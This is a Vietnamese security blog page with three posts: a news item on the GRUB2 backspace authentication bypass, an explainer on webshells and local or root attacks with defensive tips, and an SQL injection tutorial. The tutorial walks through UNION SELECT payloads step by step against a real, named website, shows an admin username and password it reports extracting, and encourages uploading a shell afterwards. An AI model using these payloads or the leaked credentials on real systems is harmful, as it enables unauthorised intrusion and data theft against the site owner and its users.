Subscribe For Free Updates!

We'll not spam mate! We promise.

Hiển thị các bài đăng có nhãn Attack. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Attack. Hiển thị tất cả bài đăng

Thứ Bảy, 16 tháng 1, 2016

Hack Linux bằng cách nhấn phím Backspace 28 lần

backspace_by_hewasnumber1-d6s7qv6
Chỉ cần nhấn phím backspace 28 lần, bạn đã có thể bypass được hệ thống bảo vệ mật khẩu của máy tính Linux!
Hai nhà nghiên cứu bảo mật đến từ đại học Valencia đã phát hiện ra một bug kì quái trên một vài bản phân phối Linux cho phép bất cứ ai cũng có thể bypass bất cứ loại xác thực nào trong quá trình khởi động bằng cách nhấn phím backspace 28 lần.
Vấn đề không nằm trong kernel hay một hệ điều hành cụ thể nào, nó thực chất là lỗ hổng trong Grub2, Grand Unified Bootloader, thường được sử dụng trong hầu hết các hệ thống Linux để boot hệ điều hành khi máy tính khởi động.
Đây là một lỗ hổng tồn tại từ Grub version 1.98 (2009) –b391bdb2f2c5ccf29da66cecdbfb7566656a704d – ảnh hưởng đến hàm grub_password_get().
Để khai thác lỗ hổng trên thiết bị, bạn chỉ cần nhấn 28 lần phím backspace trong ô Grub username. Nó sẽ mở ra một “Grub rescue shell” . Điều này cho phép truy cập không cần ủy quyền vào máy tính và khả năng tải một môi trường khác.
Tin tặc có thể lợi dụng khai thác để truy cập toàn bộ dữ liệu trên máy tính, rồi sau đó đánh cắp hoặc xóa chúng, hoặc có thể cài đặt các mã độc hoặc rootkit. Tin tốt là các nhà nghiên cứu đã tạo ra một bản vá khẩn cấp. Người dùng Linux cần áp dụng bản vá có sẵn tại đây. Rất nhiều bản phân phối lớn bao gồm Ubuntu,Red Hat, và Debian cũng phát hành bản vá lỗ hổng này.
Linux vốn được coi là hệ điều hành an toàn so với các hệ điều hành khác. Lỗ hổng này như một nhắc nhở bạn đã đến lúc cần các biện pháp bảo mật vật lý để đảm bảo an toàn cho các mạng quan trọng.

Nguồn: http://securitydaily.net/

Hiểu về WebShell, Get root và Local attack

Hiện tại có rất nhiều website đã và đang bị hacker tấn công, hacker có thể thay đổi toàn bộ các tệp tin trên hệ thống bằng cách khai thác các lỗ hổng tồn tại trên website và tải lên các backdoor, webshell để chiếm quyền kiểm soát hoàn toàn các website này. Hôm nay tôi xin trình bày một số vấn đề liên quan đến webshell, get root và local attack.
shellcodeb
Thuật ngữ WebShell:  WebShell là 1 dạng mã độc, cửa hậu có nhiều chức năng để hỗ trợ các hacker chiếm quyền quản lý các hệ thống website.WebShell thường được viết bằng nhiều loại ngôn ngữ và thường thì chính là ngôn ngữ mà website đó đang sử dụng. Chức năng cơ bản là tải tệp tin lên máy chủ, kết nối đến cơ sở dữ liệu, vượt qua các cơ chế bảo mật, cấu hình, tấn công bruteforce, Get Root, Local Attack… chỉ cần hacker có thể tải được các tệp tin webshell này lên hệ thống của website thì xem như hacker đã có toàn quyền kiểm soát website đó, cho dù không biết tài khoản và mật khẩu của máy chủ này là gì.
WebShell có rất nhiều loại và biến thể khác nhau, không đơn thuần chỉ là 1 tệp tin mà chúng còn được các hacker biến tấu thành nhiều loại để thuận tiện tải các tệp tin khắc lên máy chủ của nạn nhân.
logo
Local Atack: loại hình hack này khá phổ biến hiện nay trên internet. Local attack là phương pháp tấn công từ user này qua user khác cùng server 1 cách nhanh chóng mà không cần bất cứ quyền gì.
Một server có thể có 1 hoặc nhiều website phát trển trên đó, khi đó mỗi website như vậy sẽ được cấp 1 user chứa toàn bộ quyền với website đó. Ví dụ là /user/username1. Tương tự như vậy cũng có 1 thư mục là /user/username2,/user/username3/, /user/username4…
Giả sử /user/username2 bị hacker chiếm giữ, bằng các script thông thường, hacker có thể truy cập đến các file của bạn ở /user/username1. Các tấn công dựa trên những script ở user này tấn công vào host của user khác trên cùng server gọi là Local attack.
Get Root:  Cũng chiếm quyền quản lý một website như Local attack nhưng nó tinh vi hơn, không chiếm từng user như Local mà Get Root sẽ chiếm quyền root của máy chủ (quyền root là là quyền cao nhất trong một máy chủ Unix/Linux). Khi hacker đã có quyền root của máy thì đồng nghĩa hacker có thể quản lý toàn bộ các website trên máy chủ này.
images

Cách phòng chống Local Attack

Những biện pháp dưới đây sẽ giúp cho bạn hạn chế bị hacker sử dụng phương pháp local attack
  • Không sử dụng các mã nguồn không rõ nguồn gốc được chia sẻ trên mạng internet 1 cách không kiểm duyệt.
  • Thường xuyên cập nhật các thông tin về các bản vá, lỗ hổng trong nền tảng mã nguồn, dịch vụ, hệ điều hành mà mình đang dùng để cập nhật các bạn vá lỗi của nhà cung cấp.
  • CHMOD các file và folder hợp lý.
  • Disable các hàm có tương tác trực tiếp với terminal (có thể thực thi shell trực tiếp vào nhân hệ điều hành) như: exec, system, popen….
  • Hạn chế dùng hosting được chia sẻ không rõ đơn vị chủ quản.
  • Mã hóa database SQL các bảng chứa password và user, đặt mật khẩu chứa ký tự đặc biệt, gồm số, chữ và ký tự đặc biệt để tránh bị Bruteforce (Dò mật khẩu).
  • Hãy dùng các chương trình quét virus để quét toàn bộ mã nguồn trước khi sử dụng và bạn nên thực hiện việc này định kỳ để tránh hacker chèn đã chèn các backdoor và các script độc hại lên máy chủ.
Mong rằng qua bài phân tích này của chúng tôi có thể phần nào giúp các bạn bảo mật tốt hơn các hệ thống của mình.
Nguồn : http://securitydaily.net/phan-tich-ma-doc-tren-website-va-tac-hai-cua-no/#article

Hướng Dẫn Khai Thác Lỗi Website với kĩ thuật SQL Injection Basic



Cần Chuẩn Bị :


1.Hackbar (Vào https://addons.mozilla.org/vi/firefox -> search " Hackbar " )


2. 1 cái đầu và những ngón tay =]]z~


Bây Giờ Tiến Hành Với Victim Nhé ! 


Victim : http://pscells.com ( Hoặc Có Thế Lên Google Gõ "inurl:index.php?id=" Để Dork tìm Site Bị Lỗi SQL )






Đi 1 Vòng Site Tìm Link Có Dạng ?id=


Chẳng hạn như link này : http://pscells.com/chitietsanpham.php?id=40



Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ' Vào Và Ta Đc Link Như Thế Này :


http://pscells.com/chitietsanpham.php?id=40'


Nếu Site Có Lỗi Thì Nó Sẽ Hiện Như Thế này : 






Sau Đó Dùng Lệnh Order By Để Tìm Số Cột (Column)


http://pscells.com/chitietsanpham.php?id=40 order by 5-- - ==> Ko Lỗi
http://pscells.com/chitietsanpham.php?id=40 order by 10-- - ==> Lỗi


Vậy : 5 < x < 10


Tìm Tiếp :
http://pscells.com/chitietsanpham.php?id=40 order by 7-- - ==> Ko Lỗi
Vậy : 7 < x < 10
Tiếp Nào :
http://pscells.com/chitietsanpham.php?id=40 order by 9-- - ==> Lỗi
Vậy : 7 < x < 9 ===> Thế Số Cột (Column) Là 8 Nhé 


Bây h Dùng Lệnh UNION SELECT để khai thác nó
Vậy ta sẽ dùng lệnh UNION SELECT với số cột là 8


Ta Sẽ Có Link :
http://pscells.com/chitietsanpham.php?id=40 UNION SELECT 1,2,3,4,5,6,7,8-- -


Trường Hợp Vài Site Khi Khai Thác Lệnh Này Xoq Vẫn Ko Thấy Gì ==> Cách Giải Quyết :


Thay Null Vào ?id=40 Có Nghĩa Là Link Sẽ Thành :


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,6,7,8-- -


Nếu Cột Nào Đó Từ 1 -> 8 Bị Lỗi Sẽ Xuất Hiện Như Hình :




Vậy Cột 6 Bị Lỗi Nhé 
Bây giờ ta khai thác với lệnh như sau:


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database()-- -


( Thay Thế Group_concat(table_name) vào số cột bị lỗi mà ta đã tìm hồi nãy ( cột 6 ) , Thêm from information_schema.tables where table_schema=database() Để Tìm Ra Cách Table Có Trong Database )


Và Sau Đó Ta Đc Các Table Của Database Như Hình : 






Lưu Ý Chúng Ta Cần Tìm ID và Pass Của Admin , Nên Ta Sẽ Chọn Table Có Liên Quan Đến Tài Khoản Người Dùng . Như Troq Hình Là Table " Taikhoan "






Tiếp Theo Tìm Các Column Trong Table taikhoan . Cần Phãi Encode tên table sang mã Hex Và thêm trước nó "0x" Để Hệ Thống Biết Đó Là Mã Hex . Mã Hex cũa taikhoan là 7461696b686f616e Thêm "0x" ỡ đầu sẽ thành : 
0x7461696b686f616e <== Thay Mã Hex này Với Database() như Hình :








Và Sửa Link ỡ 1 vài chỗ :


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database()-- -


Thành


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(column_name),7,8 from information_schema.columns where table_name=0x7461696b686f616e-- -


Ta sẽ được:






Tiếp theo lấy giá trị từ các column này ra ( Ko Cần Dùng Mã Hex Cho Các Tên Column Này )


Đổi link ỡ 1 số chỗ :


http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(id,0x207c20,name,0x207c20,pass,0x207c20),7,8 from taikhoan-- -


Lưu ý: Mã Hex 0x207c20 Là Mã Hex Của " | " Mình Đễ Vậy Để Phân Cách Các Giá Trị Sau Khi Get Cho Dễ Nhìn ^^! Ko Cần Thiết Lắm 


Xóa Hết Phần Sau Chừa Lại from Và Thêm Tên Table Mà Hồi Nãy Mình Khai Thác Như : taikhoan 


Và Ta Sẽ Đc Như Hình :






Như hình trên. Ta được 1 ID Admin Là :


ID: Admin
Pass : @#123@# 


Số 1 Là Số User troq site ^^


Thế là xong ! Tìm link admin và đăng nhập vào thôi ^_^ ^_^!!










Thế Là Xoq Rồi Nhé ^^! Nếu Thích Bạn Cứ Úp Shell ( Mình Ko Khuyến Khích Các Bạn Deface ^_^ )



Nguồn : SVIT